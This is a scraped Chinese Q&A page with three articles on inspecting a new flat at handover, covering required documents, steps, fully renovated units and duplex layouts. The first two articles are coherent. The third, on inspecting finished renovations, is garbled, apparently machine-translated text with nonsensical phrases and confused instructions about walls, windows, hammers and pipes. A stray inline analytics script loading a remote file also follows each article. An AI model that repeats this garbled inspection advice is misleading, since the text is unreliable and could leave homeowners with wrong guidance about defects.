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孟淑穆

收楼注意事项有哪些?收楼要注意哪些细节?

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米德惠 有用 1

当房屋交房时,我们都需要进行收楼验楼。那么你是不是了解收楼注意事项有哪些呢?收楼时有很多的细节,忽略这些细节的话很有可能发现不了房子的问题。我们就一起看下收楼注意事项有哪些。第一步:做足收楼前相关的准备,宜细不宜漏。应看清楚发展商约定的收楼的时间,确定具体的收楼日期。然后是要找出相关购房合同,仔细研究合同中的有关交楼约定,充分了解具体哪些标的物是发展商必须要交付的,买家权益又有哪些。第二步:查证。应要求发展商们出示《建设工程质量的认定证书》,索取《住宅的使用说明书》、《住宅的质量保证书》、《房地产开发建设项目竣工综合验收的合格证》、《竣工验收的备案表》(常说的两书一表,也是收楼时特别需要我们注意的收楼文件),还有各种相关验收的表格,如《住户验房的交接表》(房间功能分区以及标的物详列的各项验收内容,如客厅的楼板、阳台地面等等)与验收的意见表(如《楼宇验收的记录表》)等。第三步:验楼细节不放过。查验完各种证件后,验楼正式开始,先是需缴交身份证复印件、收楼通知书,领取房屋钥匙,然后由接待人员带领,到所购楼房依双方约定的交楼标准查验楼房状况。(温馨提醒:收楼时要仔细查看收楼文件,坚持“先验房,再签收钥匙”。)第四步:记录验楼结果。在验完楼后,买家应按实际验收情况填写《住户验房交接表》,同时将水表、电表底数抄在指定表格(一般附在《验房交接表》中)。第五步:交费笔笔算清。换发票及缴交各项相关费用与钱银有关,更要笔笔算清。第六步:办理入住手续。验完楼后,开发商一般要求业主填写《住户档案表》、《入住协议》、《消防责任书》等协议书,同时领取《住户手册》、《服务指南》等各种入住手册及各种赠送物品。收楼注意事项有哪些我们在上边已经做出了说明。在收楼验楼之后,才可以签署验房交接表等各类文件。在验房时有很多的小细节需要注意,如果注意不到,可能会忽略房子的一些小问题。

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专题 购楼后精装修收楼注意事项有哪些?

购楼后精装修收楼注意事项有哪些?

精装修收楼注意事项有很多方面。因为楼房已经完全装修好,可以省去装修这一环节,但在很多细微之处不一定能完全达到规范要求,尤其很多隐蔽之处,如果没有验收好,就会给今后生活中增加很多难题。那么精装修收楼注意事项有哪些呢?精装修收楼注意事项:要带上购房合同,并充分了解购房合同的各项内容以及附加细则等。要求售楼处提供房屋结构图以及水电路施工图。还应让售楼处提供装修材料明细表,验收时可以按照合同,图纸及材料明细表进行对照检查。验收卫生间时重点应在渗漏方面,可以在浴缸内放水,隔天再去观察是否有渗漏情况。检查卫生洁具是否光滑、平整,水龙头是否灵活好用,排水管是否通畅,还要注意卫生间排风口情况,测试是否有通风的效果。精装修收楼注意事项:进行厨房验收要仔细观察厨具是否有破损,检查橱柜内外以及柜门的开关情况是否灵活好用,检查进水和出水情况,看排水管道否通畅。检查厨房排烟系统,是否有反烟串味现象。精装修收楼注意事项,检查房屋内电路情况,断开总电源进行实验全屋断电情况,按照配电箱上的标签,分别检查电路是否对应相应的房间和位置,检查各屋的灯具和插座的供电情况是否完好,检查水表、电表和燃气表的数值是否为零,检查室内是否安装有宽带端口、电视闭路线端口、电话线端口。精装修收楼注意事项:验收房屋质量时可以通过房屋墙壁和地面进行检查。首先观察地面是否平整,可以用水平仪检测,也可以用乒乓球放在地面,如果乒乓球静止则说明地面比较平整。检查墙的转角处是否直线,侧面观察墙面是否平有凹凸不平的地方,仔细看墙体是否存有裂缝,用手或者小工具轻敲墙面,听是否有空鼓声。精装修收楼注意事项:检查天花板和吊顶,先观察天花板平整程度,天花板和墙面结合部位是否直线。如果是顶楼,观察棚顶是否有受潮和漏水痕迹。检查厨房和卫生间的吊顶安装与墙面是否严密,扣板相接是否紧致平整。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

精装饰装修房验收要注意哪些事项

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什么是精装修房,精装修房就是房屋都已经装修好了,可以入住的房子,那么精装修验房需要注意什么的呢,看看小编为您带来的精装修验房注意事项吧。一,装饰装修首先屋顶的高度装饰精美:用尺子在天花板上取4-5个点进行测量。如果值相同,则意味着屋顶不倾斜。二,装修精致的房间的墙壁:装饰装修用长尺接近墙壁,检查墙面是平的,看看是否有划痕和裂纹,如果在墙壁上爆炸。三,装修精致门的质量:用在门的顶部和门底部的镜子,检查这些地方不能涂。特别是卫生间的门,如果在洗澡部分的顶部和底部的油漆没有刷,时间会使门底部过早分解。装饰装修检查安全门是否具有划痕,如果门变形,如果门和框架密封良好,并且如果门锁开关和是柔性的。四,房间的窗户装饰小心:窗户的窗户和窗框在滑动窗口,装饰装修你必须感受到驾驶的灵活性,而不是碰撞。外窗框上应有防堵盖,以防止异物堵塞并影响排水。五,.密封门窗:检查门窗密封性是否良好。装饰装修您可以在密封点放置一长条纸,关闭门并按压纸条以强制它。经过多次测试,您可以看到密封条的压力是否均匀。六,浴室:A:浴室必须在走廊安装安全网。B:如果没有窗户,必须有通风孔。通风格栅位于屋顶下方。装饰装修最靠近通风格栅的出口应为防水出口。这两个地方都在顶部的瓷砖,审查四角有无碰伤(天花板的四角和地面四角),砖地板不变形,裂缝:七,在厨房和卫生间的装修精致的瓷砖和洞。装饰装修用一把小锤子敲打地砖和墙上的瓷砖。声音空洞,必须更换。八,装饰装修质量乳胶漆:当周围光线很暗,使用一个灯泡高功率(200瓦),用于照明,指示灯亮,顶壁是平的,它会立即通过的阴影可以看出光线如果不平坦,装饰装修必须填满油灰;如果部分绘画(修复)将与墙壁的原始颜色不同。九,装饰装修检查精装屋:业主可以买专业的验电器,按说明书逐一使用。十,装饰装修空鼓装饰精美:在墙上放一层特殊的钢锤(10克)撞墙,检查墙上的洞。十一,装饰装修检查管道的安装,柔软性和密封:摇加热管和上风和牢固地固定管。如果松动,必须进行修理。打开水阀,看看排水管是否光滑。排水时,使用卫生纸清洁上下管道底部是否有泄漏。十二,装饰装修散热器室内精装修:答:应该是在散热器的通风,使用时,必须拧去除气体。如果不能拧,就必须进行维修,否则,气体不会放电,无散热器将热。B:还要注意进水管的坡度和回水管,否则在安装散热器,满足要求的时候,它会影响加热。十三,装饰装修管厨房:上使用的纸卷,把烟雾,把烟囱口下方10厘米左右,看烟成烟囱口,立刻加倍吮吸十四,装饰装修管道气体:将卷烟纸放在报警装置附近,看看装置是否敏感;当警报和灯光响起时,进气电磁阀将关闭。否则,必须及时修复。以上就是为您带来的精装修验房注意事项。精装修验房需要注意以上的几个细节,在验收的时候需要擦亮双眼,仔细检查。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

复式楼精装修有哪些相关注意事项和细节处理?

复式楼精装修有哪些相关注意事项和细节处理?

现代年轻人在购房时喜欢复式楼的房屋构造,这种结构能够很好的区分个人空间和客厅空间,甚至业主也可以在不同空间内展示不同的装修风格,让整体环境充满多样化。复式楼精装修要在确定好楼梯高度,转角细节,水电布局的细节前提下,提高舒适度。1.楼梯复式楼精装修首先要注意好上下层连接的楼梯处理,楼梯台阶的合理安排可以让业主生活变得更加方便,如果楼梯高度太高或者太低,都会影响坡度,一定情况下甚至可能对家人的健康安全产生影响是非常重要的。楼梯的宽度设定最后在0.9米左右或者按业主体形量身定制,如果不设定合适的宽度会让楼梯与整体空间看起来非常不和谐。2.层高复式楼精装修需要装修两层空间,这说明是否能够做复式楼要看楼层的高低,复式楼精装修的效果也与楼层高度有关。下层空间一般要比上层高,因为下层空间一般是白天的主要活动空间,也是客厅来客的接待处,需要宽敞的结构和足够的挑高,上层空间多是书房卧室区域,不需要太高的顶部空间。3.复式房坡屋顶的设计大多复试层精装修如果业主买的是是顶层复式楼,在装修时大家都会选择以坡屋顶的形式来设计,以实现一定的收纳效果。在设计坡顶时一定要注意净高度,尽可能避免出现需要弯腰取物或者碰头的情况,会让生活极为不舒适。4.电箱配置复式楼精装修还要注意上下楼水电问题,最好单独配置电箱,不但能确保用电的需求得到满足,也能避免用电高峰期出现跳闸的现象,减少故障的发生。复式楼精装修和普通装修不同,因为空间的划分还有使用性都有所改变,业主在复式楼精装修时要改变固定思维,找出复式楼精装修和一般楼层装修的差异,精确装修,让生活变得更加方便舒适。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

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